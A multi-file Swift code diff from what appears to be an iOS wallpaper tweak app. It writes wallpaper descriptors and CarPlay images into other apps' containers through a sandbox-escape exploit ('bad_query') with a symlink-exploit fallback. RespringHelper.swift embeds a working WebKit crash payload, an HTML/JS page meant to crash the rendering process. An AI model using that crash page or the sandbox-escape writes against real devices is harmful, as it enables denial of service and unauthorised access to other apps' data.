dlopen("/System/Library/PrivateFrameworks/CarPlayUIServices.framework/CarPlayUIServices", RTLD_GLOBAL)
|
||||
|
||||
if #available(iOS 18.0, *) {
|
||||
// iOS 18 method (it got moved)
|
||||
guard let obj = objc_getClass("CRSUISystemWallpaper") as? NSObject else { print("no class"); return nil }
|
||||
|
||||
if let success = obj.perform(Selector(("wallpapers"))), let arr = success.takeUnretainedValue() as? [NSObject] {
|
||||
var namesList: [String] = []
|
||||
for wp in arr {
|
||||
if let wpACName = wp.perform(Selector(("wallpaperAssetCatalogName"))), let result = wpACName.takeUnretainedValue() as? String {
|
||||
namesList.append(result)
|
||||
}
|
||||
}
|
||||
return namesList
|
||||
}
|
||||
} else {
|
||||
// iOS 17-
|
||||
guard let obj = objc_getClass("CRSUIWallpaperPreferences") as? NSObject else { print("no class"); return nil }
|
||||
if let success = obj.perform(Selector(("availableWallpapers"))), let arr = success.takeUnretainedValue() as? [NSObject] {
|
||||
var namesList: [String] = []
|
||||
for wp in arr {
|
||||
if let wpACName = wp.perform(Selector(("wallpaperAssetCatalogName"))), let result = wpACName.takeUnretainedValue() as? String {
|
||||
namesList.append(result)
|
||||
}
|
||||
}
|
||||
return namesList
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
static func getCarPlayPhotosURL() -> URL {
|
||||
let cppURL = SymHandler.getDocumentsDirectory().appendingPathComponent("CarPlayPhotos", conformingTo: .directory)
|
||||
// create it if it doesn't exist
|
||||
if !FileManager.default.fileExists(atPath: cppURL.path()) {
|
||||
try? FileManager.default.createDirectory(at: cppURL, withIntermediateDirectories: true)
|
||||
}
|
||||
return cppURL
|
||||
}
|
||||
|
||||
static func applyCarPlay(appHash: String, wallpapers: [CarPlayWallpaper]) throws {
|
||||
// write the image
|
||||
var toRemove: [URL] = []
|
||||
var activeWP: [String] = UserDefaults.standard.array(forKey: "ActiveCarPlayWallpapers") as? [String] ?? []
|
||||
let cppURL = getCarPlayPhotosURL()
|
||||
let cacheVer = getCarPlayCacheVersion()
|
||||
for wallpaper in wallpapers {
|
||||
if let data = wallpaper.selectedImageDataLight, let img = UIImage(data: data) {
|
||||
let imgURL = SymHandler.getDocumentsDirectory().appendingPathComponent("CAR\(wallpaper.name)Dynamic-Light\(cacheVer).cpbitmap")
|
||||
img.writeToCPBitmapFile(to: imgURL.path() as NSString)
|
||||
try? data.write(to: cppURL.appendingPathComponent("\(wallpaper.name)-Light"))
|
||||
toRemove.append(imgURL)
|
||||
if !activeWP.contains(wallpaper.name) {
|
||||
activeWP.append(wallpaper.name)
|
||||
}
|
||||
}
|
||||
if let data = wallpaper.selectedImageDataDark, let img = UIImage(data: data) {
|
||||
let imgURL = SymHandler.getDocumentsDirectory().appendingPathComponent("CAR\(wallpaper.name)Dynamic-Dark\(cacheVer).cpbitmap")
|
||||
img.writeToCPBitmapFile(to: imgURL.path() as NSString)
|
||||
try? data.write(to: cppURL.appendingPathComponent("\(wallpaper.name)-Dark"))
|
||||
toRemove.append(imgURL)
|
||||
if !activeWP.contains(wallpaper.name) {
|
||||
activeWP.append(wallpaper.name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
defer {
|
||||
SymHandler.cleanup()
|
||||
}
|
||||
|
||||
let cacheRel = "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
|
||||
if SymHandler.prefersBadQuery {
|
||||
let destPath = BadQuery.carPlayCachePath(appHash: appHash)
|
||||
do {
|
||||
try SymHandler.writeFilesViaBadQuery(toDirectory: destPath, files: toRemove)
|
||||
// remove local staging copies after successful write
|
||||
for imgURL in toRemove {
|
||||
try? FileManager.default.removeItem(at: imgURL)
|
||||
}
|
||||
} catch {
|
||||
print("bad_query CarPlay failed, falling back to symlink: \(error)")
|
||||
let _ = try SymHandler.createAppSymlink(for: cacheRel)
|
||||
for imgURL in toRemove {
|
||||
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// legacy symlink + trashItem
|
||||
let _ = try SymHandler.createAppSymlink(for: cacheRel)
|
||||
for imgURL in toRemove {
|
||||
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
|
||||
}
|
||||
}
|
||||
UserDefaults.standard.set(activeWP, forKey: "ActiveCarPlayWallpapers")
|
||||
let test = SymHandler.getDocumentsDirectory().appendingPathComponent("Caches")
|
||||
try Data(count: 0).write(to: test)
|
||||
}
|
||||
}
|
||||
@@ -6,30 +6,79 @@
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import UIKit
|
||||
|
||||
class DownloadManager {
|
||||
static func getWallpaperNameFromURL(string url: String) -> String {
|
||||
class DownloadManager: ObservableObject {
|
||||
static let shared = DownloadManager()
|
||||
static let exploreLink = "https://cowabun.ga/wallpapers?pocketposter=true"
|
||||
|
||||
@Published var downloadURL: String? = nil
|
||||
|
||||
func getWallpaperNameFromURL(string url: String) -> String {
|
||||
return String(url.split(separator: "/").last ?? "Unknown")
|
||||
}
|
||||
|
||||
static func downloadFromURL(_ url: URL) async throws -> URL {
|
||||
func startTendiesDownload(for url: URL) {
|
||||
// prohibit to only tendies files
|
||||
if !url.absoluteString.hasSuffix(".tendies") {
|
||||
UIApplication.shared.alert(body: NSLocalizedString("Only .tendies files can be downloaded!", comment: ""))
|
||||
} else if PosterBoardManager.shared.selectedTendies.count >= PosterBoardManager.MaxTendies {
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Max Tendies Reached", comment: ""), body: String(format: NSLocalizedString("You can only apply %@ descriptors.", comment: ""), "\(PosterBoardManager.MaxTendies)"))
|
||||
} else {
|
||||
DispatchQueue.main.async {
|
||||
self.downloadURL = url.absoluteString.replacingOccurrences(of: "pocketposter://download?url=", with: "")
|
||||
UIApplication.shared.confirmAlert(title: NSLocalizedString("Download Tendies File", comment: ""), body: String(format: NSLocalizedString("Would you like to download the file %@?", comment: ""), "\(self.getWallpaperNameFromURL(string: self.downloadURL ?? "/Unknown"))"), onOK: {
|
||||
self.downloadWallpaper()
|
||||
}, noCancel: false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func downloadWallpaper() {
|
||||
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Downloading", comment: "") + " \(getWallpaperNameFromURL(string: downloadURL ?? "/Unknown"))...", body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
|
||||
|
||||
Task {
|
||||
do {
|
||||
let newURL = try await downloadFromURL(string: downloadURL!)
|
||||
DispatchQueue.main.async {
|
||||
PosterBoardManager.shared.selectedTendies.append(newURL)
|
||||
Haptic.shared.notify(.success)
|
||||
UIApplication.shared.dismissAlert(animated: true)
|
||||
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Successfully downloaded wallpaper!", comment: ""), body: NSLocalizedString("Your downloaded .tendies will be on the Home page.", comment: "after successfully downloading tendies"))
|
||||
})
|
||||
}
|
||||
} catch {
|
||||
DispatchQueue.main.async {
|
||||
Haptic.shared.notify(.error)
|
||||
UIApplication.shared.dismissAlert(animated: true)
|
||||
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Could not download wallpaper!", comment: ""), body: error.localizedDescription)
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func downloadFromURL(_ url: URL) async throws -> URL {
|
||||
print("Downloading from \(url.absoluteString)")
|
||||
|
||||
let request = URLRequest(url: url)
|
||||
|
||||
let (data, response) = try await URLSession.shared.data(for: request) as! (Data, HTTPURLResponse)
|
||||
guard response.statusCode == 200 else { throw URLError(.cannotConnectToHost) }
|
||||
let newURL = PosterBoardManager.getTendiesStoreURL().appendingPathComponent(getWallpaperNameFromURL(string: url.absoluteString))
|
||||
let newURL = PosterBoardManager.shared.getTendiesStoreURL().appendingPathComponent(getWallpaperNameFromURL(string: url.absoluteString))
|
||||
try data.write(to: newURL)
|
||||
return newURL
|
||||
}
|
||||
|
||||
static func downloadFromURL(string path: String) async throws -> URL {
|
||||
func downloadFromURL(string path: String) async throws -> URL {
|
||||
guard let url = URL(string: path) else { throw URLError(.unknown) }
|
||||
return try await downloadFromURL(url)
|
||||
}
|
||||
|
||||
static func copyTendies(from url: URL) throws -> URL {
|
||||
func copyTendies(from url: URL) throws -> URL {
|
||||
// scope the resource
|
||||
let accessing = url.startAccessingSecurityScopedResource()
|
||||
defer {
|
||||
@@ -37,7 +86,7 @@ class DownloadManager {
|
||||
url.stopAccessingSecurityScopedResource()
|
||||
}
|
||||
}
|
||||
let newURL = PosterBoardManager.getTendiesStoreURL().appendingPathComponent(url.lastPathComponent)
|
||||
let newURL = PosterBoardManager.shared.getTendiesStoreURL().appendingPathComponent(url.lastPathComponent)
|
||||
try FileManager.default.copyItem(at: url, to: newURL)
|
||||
return newURL
|
||||
}
|
||||
|
||||
@@ -9,13 +9,18 @@ import Foundation
|
||||
import ZIPFoundation
|
||||
import UIKit
|
||||
|
||||
class PosterBoardManager {
|
||||
class PosterBoardManager: ObservableObject {
|
||||
static let ShortcutURL = "https://www.icloud.com/shortcuts/a28d2c02ca11453cb5b8f91c12cfa692"
|
||||
static let WallpapersURL = "https://cowabun.ga/wallpapers"
|
||||
|
||||
static let MaxTendies = 10
|
||||
|
||||
static func getTendiesStoreURL() -> URL {
|
||||
static let shared = PosterBoardManager()
|
||||
|
||||
@Published var selectedTendies: [URL] = []
|
||||
@Published var videos: [LoadInfo] = []
|
||||
|
||||
func getTendiesStoreURL() -> URL {
|
||||
let tendiesStoreURL = SymHandler.getDocumentsDirectory().appendingPathComponent("KFC Bucket", conformingTo: .directory)
|
||||
// create it if it doesn't exist
|
||||
if !FileManager.default.fileExists(atPath: tendiesStoreURL.path()) {
|
||||
@@ -24,7 +29,86 @@ class PosterBoardManager {
|
||||
return tendiesStoreURL
|
||||
}
|
||||
|
||||
static func openPosterBoard() -> Bool {
|
||||
func setSystemLanguage(to new_lang: String) -> Bool {
|
||||
// Load Preferences private frameworks if needed
|
||||
dlopen("/System/Library/PrivateFrameworks/SettingsFoundation.framework/SettingsFoundation", RTLD_NOW)
|
||||
dlopen("/System/Library/PrivateFrameworks/Preferences.framework/Preferences", RTLD_NOW)
|
||||
dlopen("/System/Library/PrivateFrameworks/InternationalSupport.framework/InternationalSupport", RTLD_NOW)
|
||||
|
||||
var langManager: NSObject = NSObject()
|
||||
if #available(iOS 18.0, *) {
|
||||
guard let obj = objc_getClass("IPSettingsUtilities") as? NSObject else { return false }
|
||||
langManager = obj
|
||||
} else {
|
||||
guard let obj = objc_getClass("PSLanguageSelector") as? NSObject else { return false }
|
||||
langManager = obj
|
||||
}
|
||||
|
||||
if let success = langManager.perform(Selector(("setLanguage:")), with: new_lang) {
|
||||
return success != nil
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
/// Wipe PosterBoard custom descriptor collections using bad_query (real delete).
|
||||
/// Falls back to language-toggle trick on older exploit path.
|
||||
func resetCollections(appHash: String) throws {
|
||||
if SymHandler.prefersBadQuery {
|
||||
try wipeDescriptorsViaBadQuery(appHash: appHash)
|
||||
return
|
||||
}
|
||||
|
||||
// Legacy: language toggle forces PosterBoard to rebuild collections
|
||||
guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else {
|
||||
throw ApplyError.unexpected(info: "Could not read system language for reset.")
|
||||
}
|
||||
guard setSystemLanguage(to: lang) else {
|
||||
throw ApplyError.unexpected(info: "Language API failed. Reset collections manually in Settings → Language & Region.")
|
||||
}
|
||||
}
|
||||
|
||||
/// Delete everything under each PRBPosterExtensionDataStore/*/Extensions/*/descriptors.
|
||||
private func wipeDescriptorsViaBadQuery(appHash: String) throws {
|
||||
let ver = SymHandler.getExtensionVersion()
|
||||
let extensionsRoot = BadQuery.applicationContainerPath(appHash: appHash)
|
||||
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions"
|
||||
|
||||
// Open parent with sandbox extension
|
||||
let rootHandle = try BadQuery.consume(path: extensionsRoot, create: true)
|
||||
defer { rootHandle.release() }
|
||||
|
||||
let fm = FileManager.default
|
||||
guard fm.fileExists(atPath: extensionsRoot) else {
|
||||
// Nothing to wipe — treat as success (collections already empty / never set up)
|
||||
return
|
||||
}
|
||||
|
||||
let extDirs = try fm.contentsOfDirectory(atPath: extensionsRoot)
|
||||
var wiped = 0
|
||||
for extName in extDirs {
|
||||
let descriptorsPath = (extensionsRoot as NSString)
|
||||
.appendingPathComponent(extName)
|
||||
.appending("/descriptors")
|
||||
|
||||
// Ensure we hold an extension on the descriptors dir itself
|
||||
let descHandle = try? BadQuery.consume(path: descriptorsPath, create: true)
|
||||
defer { descHandle?.release() }
|
||||
|
||||
guard fm.fileExists(atPath: descriptorsPath) else { continue }
|
||||
|
||||
let items = (try? fm.contentsOfDirectory(atPath: descriptorsPath)) ?? []
|
||||
for item in items {
|
||||
if item == "__MACOSX" || item.hasPrefix(".") { continue }
|
||||
let full = (descriptorsPath as NSString).appendingPathComponent(item)
|
||||
try? fm.removeItem(atPath: full)
|
||||
wiped += 1
|
||||
}
|
||||
}
|
||||
print("resetCollections: wiped \(wiped) descriptor item(s)")
|
||||
}
|
||||
|
||||
func openPosterBoard() -> Bool {
|
||||
guard let obj = objc_getClass("LSApplicationWorkspace") as? NSObject else { return false }
|
||||
let workspace = obj.perform(Selector(("defaultWorkspace")))?.takeUnretainedValue() as? NSObject
|
||||
|
||||
@@ -35,8 +119,10 @@ class PosterBoardManager {
|
||||
return false
|
||||
}
|
||||
|
||||
private static func unzipFile(at url: URL) throws -> URL {
|
||||
private func unzipFile(at url: URL) throws -> URL {
|
||||
let fileName = url.deletingPathExtension().lastPathComponent
|
||||
// Replace spaces and %20 with underscores
|
||||
let normalizedFileName = fileName.replacingOccurrences(of: "[ \\%20]", with: "_", options: .regularExpression)
|
||||
let fileData = try Data(contentsOf: url)
|
||||
let fileManager = FileManager()
|
||||
|
||||
@@ -45,7 +131,6 @@ class PosterBoardManager {
|
||||
if !FileManager.default.fileExists(atPath: path.path()) {
|
||||
try? FileManager.default.createDirectory(at: path, withIntermediateDirectories: true)
|
||||
}
|
||||
let url = path.appending(path: fileName)
|
||||
|
||||
// Remove All files in this directory
|
||||
let existingFiles = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
@@ -53,34 +138,34 @@ class PosterBoardManager {
|
||||
{
|
||||
try FileManager.default.removeItem(at: fileUrl)
|
||||
}
|
||||
let zipURL = path.appending(path: normalizedFileName)
|
||||
|
||||
// Save our Zip file
|
||||
try fileData.write(to: url, options: [.atomic])
|
||||
try fileData.write(to: zipURL, options: [.atomic])
|
||||
|
||||
// Unzip the Zipped Up File
|
||||
var destinationURL = path
|
||||
if FileManager.default.fileExists(atPath: url.path())
|
||||
if FileManager.default.fileExists(atPath: zipURL.path())
|
||||
{
|
||||
destinationURL.append(path: "directory")
|
||||
try fileManager.unzipItem(at: url, to: destinationURL)
|
||||
try fileManager.unzipItem(at: zipURL, to: destinationURL)
|
||||
}
|
||||
|
||||
return destinationURL
|
||||
}
|
||||
|
||||
static func runShortcut(named name: String) {
|
||||
func runShortcut(named name: String) {
|
||||
guard let urlEncodedName = name.addingPercentEncoding(withAllowedCharacters: .urlQueryAllowed),
|
||||
let url = URL(string: "shortcuts://run-shortcut?name=\(name)") else { return }
|
||||
UIApplication.shared.open(url, options: [:], completionHandler: nil)
|
||||
}
|
||||
|
||||
static func getDescriptorsFromTendie(_ url: URL) throws -> [String: [URL]]? {
|
||||
func getDescriptorsFromTendie(_ url: URL) throws -> [String: [URL]]? {
|
||||
for dir in try FileManager.default.contentsOfDirectory(at: url, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
|
||||
let fileName = dir.lastPathComponent
|
||||
if fileName.lowercased() == "container" {
|
||||
// container support, find the extensions
|
||||
let extDir = dir.appending(path: "Library/Application Support/PRBPosterExtensionDataStore/61/Extensions")
|
||||
print(extDir.absoluteString)
|
||||
var retList: [String: [URL]] = [:]
|
||||
for ext in try FileManager.default.contentsOfDirectory(at: extDir, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
|
||||
let descrDir = ext.appendingPathComponent("descriptors")
|
||||
@@ -99,7 +184,7 @@ class PosterBoardManager {
|
||||
return nil
|
||||
}
|
||||
|
||||
static func randomizeWallpaperId(url: URL) throws {
|
||||
func randomizeWallpaperId(url: URL) throws {
|
||||
let randomizedID = Int.random(in: 9999...99999)
|
||||
var files = [URL]()
|
||||
if let enumerator = FileManager.default.enumerator(at: url, includingPropertiesForKeys: [.isRegularFileKey], options: [.skipsHiddenFiles, .skipsPackageDescendants]) {
|
||||
@@ -157,10 +242,28 @@ class PosterBoardManager {
|
||||
}
|
||||
}
|
||||
|
||||
static func applyTendies(_ urls: [URL], appHash: String) throws {
|
||||
func applyTendies(appHash: String) throws {
|
||||
// organize the descriptors into their respective extensions
|
||||
var extList: [String: [URL]] = [:]
|
||||
for url in urls {
|
||||
// create the video first
|
||||
if videos.count > 0 {
|
||||
extList["com.apple.WallpaperKit.CollectionsPoster"] = []
|
||||
for video in videos {
|
||||
switch video.loadState {
|
||||
case .loaded(let movie):
|
||||
do {
|
||||
let newVideo = try VideoHandler.createCaml(from: movie.url, autoReverses: video.autoReverses)
|
||||
extList["com.apple.WallpaperKit.CollectionsPoster"]?.append(newVideo)
|
||||
} catch {
|
||||
print(error.localizedDescription)
|
||||
}
|
||||
default:
|
||||
print("Video not loaded!")
|
||||
}
|
||||
}
|
||||
}
|
||||
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: NSLocalizedString("Extracting tendies...", comment: "happens when unzipping the files"))
|
||||
for url in selectedTendies {
|
||||
let unzippedDir = try unzipFile(at: url)
|
||||
guard let descriptors = try getDescriptorsFromTendie(unzippedDir) else { continue } // TODO: Add error handling
|
||||
extList.merge(descriptors) { (first, second) in first + second }
|
||||
@@ -170,36 +273,62 @@ class PosterBoardManager {
|
||||
SymHandler.cleanup()
|
||||
}
|
||||
|
||||
let useBadQuery = SymHandler.prefersBadQuery
|
||||
if useBadQuery {
|
||||
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "bad_query sandbox escape…")
|
||||
}
|
||||
|
||||
for (ext, descriptorsList) in extList {
|
||||
let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
|
||||
var foldersToWrite: [URL] = []
|
||||
for descriptors in descriptorsList {
|
||||
// create the folder
|
||||
for descr in try FileManager.default.contentsOfDirectory(at: descriptors, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
|
||||
if descr.lastPathComponent != "__MACOSX" {
|
||||
try randomizeWallpaperId(url: descr)
|
||||
let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
|
||||
try FileManager.default.moveItem(at: descr, to: newURL)
|
||||
foldersToWrite.append(descr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
|
||||
}
|
||||
if useBadQuery {
|
||||
// iOS 26/27: direct write via container_query sandbox extension
|
||||
do {
|
||||
try SymHandler.writeDescriptorsViaBadQuery(appHash: appHash, ext: ext, descriptorFolders: foldersToWrite)
|
||||
} catch {
|
||||
// Fall back to legacy .Trash symlink if bad_query path fails
|
||||
print("bad_query apply failed, falling back to symlink: \(error)")
|
||||
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
|
||||
}
|
||||
} else {
|
||||
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
|
||||
}
|
||||
SymHandler.cleanup()
|
||||
}
|
||||
|
||||
// clean up all possible files
|
||||
for url in urls {
|
||||
for url in selectedTendies {
|
||||
try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent("UnzipItems", conformingTo: .directory))
|
||||
try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent(url.lastPathComponent))
|
||||
try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent(url.deletingPathExtension().lastPathComponent))
|
||||
}
|
||||
}
|
||||
|
||||
/// Legacy exploit: symlink Documents/.Trash → descriptors, then trashItem into it.
|
||||
private func applyDescriptorsViaSymlink(appHash: String, ext: String, folders: [URL]) throws {
|
||||
let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
|
||||
for descr in folders {
|
||||
let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
|
||||
try FileManager.default.copyItem(at: descr, to: newURL)
|
||||
try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
|
||||
}
|
||||
}
|
||||
|
||||
static func clearCache() throws {
|
||||
SymHandler.cleanup()
|
||||
let docDir = SymHandler.getDocumentsDirectory()
|
||||
for file in try FileManager.default.contentsOfDirectory(at: docDir, includingPropertiesForKeys: nil) {
|
||||
if file.lastPathComponent != "CarPlayPhotos" {
|
||||
try FileManager.default.removeItem(at: file)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
//
|
||||
// RespringHelper.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Mond-style instant respring (WebKit GPU crash @neonmodder123).
|
||||
// No VC present/dismiss chain — WKWebView on a top-level window, load immediately.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import UIKit
|
||||
import WebKit
|
||||
import ObjectiveC
|
||||
|
||||
enum RespringHelper {
|
||||
|
||||
/// Keep the respring window alive until the process dies.
|
||||
private static var stickyWindow: UIWindow?
|
||||
private static var stickyWebView: WKWebView?
|
||||
|
||||
/// Direct crash payload (inner document from Mond — no outer iframe delay).
|
||||
/// Credit: @neonmodder123 / Mond
|
||||
private static let crashHTML = """
|
||||
<!DOCTYPE html><html><head><meta name="viewport" content="width=device-width"></head><body><script>
|
||||
(function(){
|
||||
var c=document.createElement('div');
|
||||
c.style.cssText='perspective:1px;perspective-origin:9999999% 9999999%;';
|
||||
document.body.appendChild(c);
|
||||
for(var i=0;i<500;i++){
|
||||
var d=document.createElement('div');
|
||||
d.style.cssText='position:absolute;width:100vw;height:100vh;backdrop-filter:blur(100px);-webkit-backdrop-filter:blur(100px);transform:translate3d(100000px,100000px,'+i+'px) rotateY(90deg);';
|
||||
c.appendChild(d);
|
||||
}
|
||||
setInterval(function(){
|
||||
try{navigator.share({title:'R',text:'R'.repeat(100000)});}catch(e){}
|
||||
try{crypto.getRandomValues(new Uint8Array(1024*1024*10));}catch(e){}
|
||||
},0);
|
||||
})();
|
||||
</script></body></html>
|
||||
"""
|
||||
|
||||
/// Instant full respring (Mond path). Safe under LiveContainer.
|
||||
static func respring() {
|
||||
#if targetEnvironment(simulator)
|
||||
print("respring skipped on simulator")
|
||||
return
|
||||
#else
|
||||
// Must be main thread for UIWindow / WKWebView
|
||||
if !Thread.isMainThread {
|
||||
DispatchQueue.main.async { fireNow() }
|
||||
return
|
||||
}
|
||||
fireNow()
|
||||
#endif
|
||||
}
|
||||
|
||||
static func respringNow() { respring() }
|
||||
|
||||
private static func fireNow() {
|
||||
UIImpactFeedbackGenerator(style: .heavy).impactOccurred()
|
||||
|
||||
// 1) Kill any alerts instantly so nothing blocks rendering
|
||||
currentUIAlertController?.dismiss(animated: false)
|
||||
currentUIAlertController = nil
|
||||
|
||||
// 2) Build WKWebView + load crash HTML BEFORE showing window (starts process ASAP)
|
||||
let config = WKWebViewConfiguration()
|
||||
config.websiteDataStore = .nonPersistent()
|
||||
let prefs = WKWebpagePreferences()
|
||||
prefs.allowsContentJavaScript = true
|
||||
config.defaultWebpagePreferences = prefs
|
||||
// Shared process pool warms slightly faster on repeat
|
||||
config.processPool = WKProcessPool()
|
||||
|
||||
let webView = WKWebView(frame: UIScreen.main.bounds, configuration: config)
|
||||
webView.isOpaque = false
|
||||
webView.backgroundColor = .black
|
||||
webView.scrollView.isScrollEnabled = false
|
||||
webView.scrollView.backgroundColor = .black
|
||||
|
||||
// Load payload immediately — don't wait for layout/appear
|
||||
webView.loadHTMLString(crashHTML, baseURL: URL(string: "about:blank"))
|
||||
stickyWebView = webView
|
||||
|
||||
// 3) Slap it on a top-level window (no present animation, no host VC)
|
||||
let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
|
||||
let scene = scenes.first(where: { $0.activationState == .foregroundActive }) ?? scenes.first
|
||||
|
||||
let window: UIWindow
|
||||
if let scene {
|
||||
window = UIWindow(windowScene: scene)
|
||||
window.frame = scene.coordinateSpace.bounds
|
||||
} else {
|
||||
window = UIWindow(frame: UIScreen.main.bounds)
|
||||
}
|
||||
window.windowLevel = .alert + 100
|
||||
window.backgroundColor = .black
|
||||
window.isHidden = false
|
||||
|
||||
let host = UIViewController()
|
||||
host.view.backgroundColor = .black
|
||||
host.view.addSubview(webView)
|
||||
webView.frame = host.view.bounds
|
||||
webView.autoresizingMask = [.flexibleWidth, .flexibleHeight]
|
||||
window.rootViewController = host
|
||||
window.makeKeyAndVisible()
|
||||
stickyWindow = window
|
||||
|
||||
// Force a layout pass so WebKit starts compositing now
|
||||
window.layoutIfNeeded()
|
||||
webView.setNeedsLayout()
|
||||
webView.layoutIfNeeded()
|
||||
|
||||
// Re-load once more after attach (some LC builds only execute JS after in-hierarchy)
|
||||
webView.loadHTMLString(crashHTML, baseURL: nil)
|
||||
|
||||
// 4) Outside LiveContainer, also hit XPC immediately (no delay)
|
||||
let inLC = ProcessInfo.processInfo.environment["LC_HOME_PATH"] != nil
|
||||
|| Bundle.main.bundlePath.contains("LiveContainer")
|
||||
if !inLC {
|
||||
restartFrontboard()
|
||||
restartBackboard()
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -23,11 +23,23 @@ class SymHandler {
|
||||
return getDocumentsDirectory()
|
||||
}
|
||||
|
||||
static func getPosterBoardHashURL() -> URL {
|
||||
return getLCDocumentsDirectory().appendingPathComponent("NuggetPosterBoardHash")
|
||||
}
|
||||
static func getCarPlayHashURL() -> URL {
|
||||
return getLCDocumentsDirectory().appendingPathComponent("NuggetCarPlayWallpaperHash")
|
||||
}
|
||||
|
||||
private static func getSymlinkURL() -> URL {
|
||||
return getLCDocumentsDirectory().appendingPathComponent(".Trash", conformingTo: .symbolicLink)
|
||||
}
|
||||
|
||||
// MARK: Symlink Creation
|
||||
/// Prefer bad_query (iOS 26/27 sandbox escape); fall back to .Trash symlink exploit.
|
||||
static var prefersBadQuery: Bool {
|
||||
BadQuery.isAvailable
|
||||
}
|
||||
|
||||
// MARK: Symlink Creation (legacy exploit for older iOS)
|
||||
static func createSymlink(to path: String) throws -> URL {
|
||||
// returns the url of the symlink
|
||||
let symURL = getSymlinkURL()
|
||||
@@ -43,10 +55,59 @@ class SymHandler {
|
||||
return try createSymlink(to: "/var/mobile/Containers/Data/Application/\(appHash)")
|
||||
}
|
||||
|
||||
static func getExtensionVersion() -> String {
|
||||
if #available(iOS 17.0, *) {
|
||||
return "61"
|
||||
}
|
||||
return "59"
|
||||
}
|
||||
|
||||
static func createDescriptorsSymlink(appHash: String, ext: String) throws -> URL {
|
||||
// create a symlink directly to the descriptors
|
||||
print("linking to \(appHash)/Library/Application Support/PRBPosterExtensionDataStore/61/Extensions/\(ext)/descriptors")
|
||||
return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/61/Extensions/\(ext)/descriptors")
|
||||
let extVer = SymHandler.getExtensionVersion()
|
||||
print("linking to \(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors")
|
||||
return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors")
|
||||
}
|
||||
|
||||
// MARK: Direct write via bad_query
|
||||
|
||||
/// Copy descriptor folders into PosterBoard descriptors using sandbox escape.
|
||||
static func writeDescriptorsViaBadQuery(appHash: String, ext: String, descriptorFolders: [URL]) throws {
|
||||
let destPath = BadQuery.descriptorsPath(appHash: appHash, ext: ext)
|
||||
print("bad_query writing to \(destPath)")
|
||||
|
||||
// Ensure descriptors directory exists (open parent chain if needed)
|
||||
try BadQuery.ensureDirectory(at: destPath)
|
||||
|
||||
let handle = try BadQuery.consume(path: destPath, create: true)
|
||||
defer { handle.release() }
|
||||
|
||||
let fm = FileManager.default
|
||||
for descr in descriptorFolders {
|
||||
guard descr.lastPathComponent != "__MACOSX" else { continue }
|
||||
let destName = UUID().uuidString
|
||||
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(destName)
|
||||
if fm.fileExists(atPath: destURL.path) {
|
||||
try fm.removeItem(at: destURL)
|
||||
}
|
||||
try fm.copyItem(at: descr, to: destURL)
|
||||
}
|
||||
}
|
||||
|
||||
/// Copy files into an absolute directory under an app container via bad_query.
|
||||
static func writeFilesViaBadQuery(toDirectory destPath: String, files: [URL]) throws {
|
||||
try BadQuery.ensureDirectory(at: destPath)
|
||||
let handle = try BadQuery.consume(path: destPath, create: true)
|
||||
defer { handle.release() }
|
||||
|
||||
let fm = FileManager.default
|
||||
for file in files {
|
||||
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(file.lastPathComponent)
|
||||
if fm.fileExists(atPath: destURL.path) {
|
||||
try fm.removeItem(at: destURL)
|
||||
}
|
||||
try fm.copyItem(at: file, to: destURL)
|
||||
}
|
||||
}
|
||||
|
||||
static func cleanup() {
|
||||
|
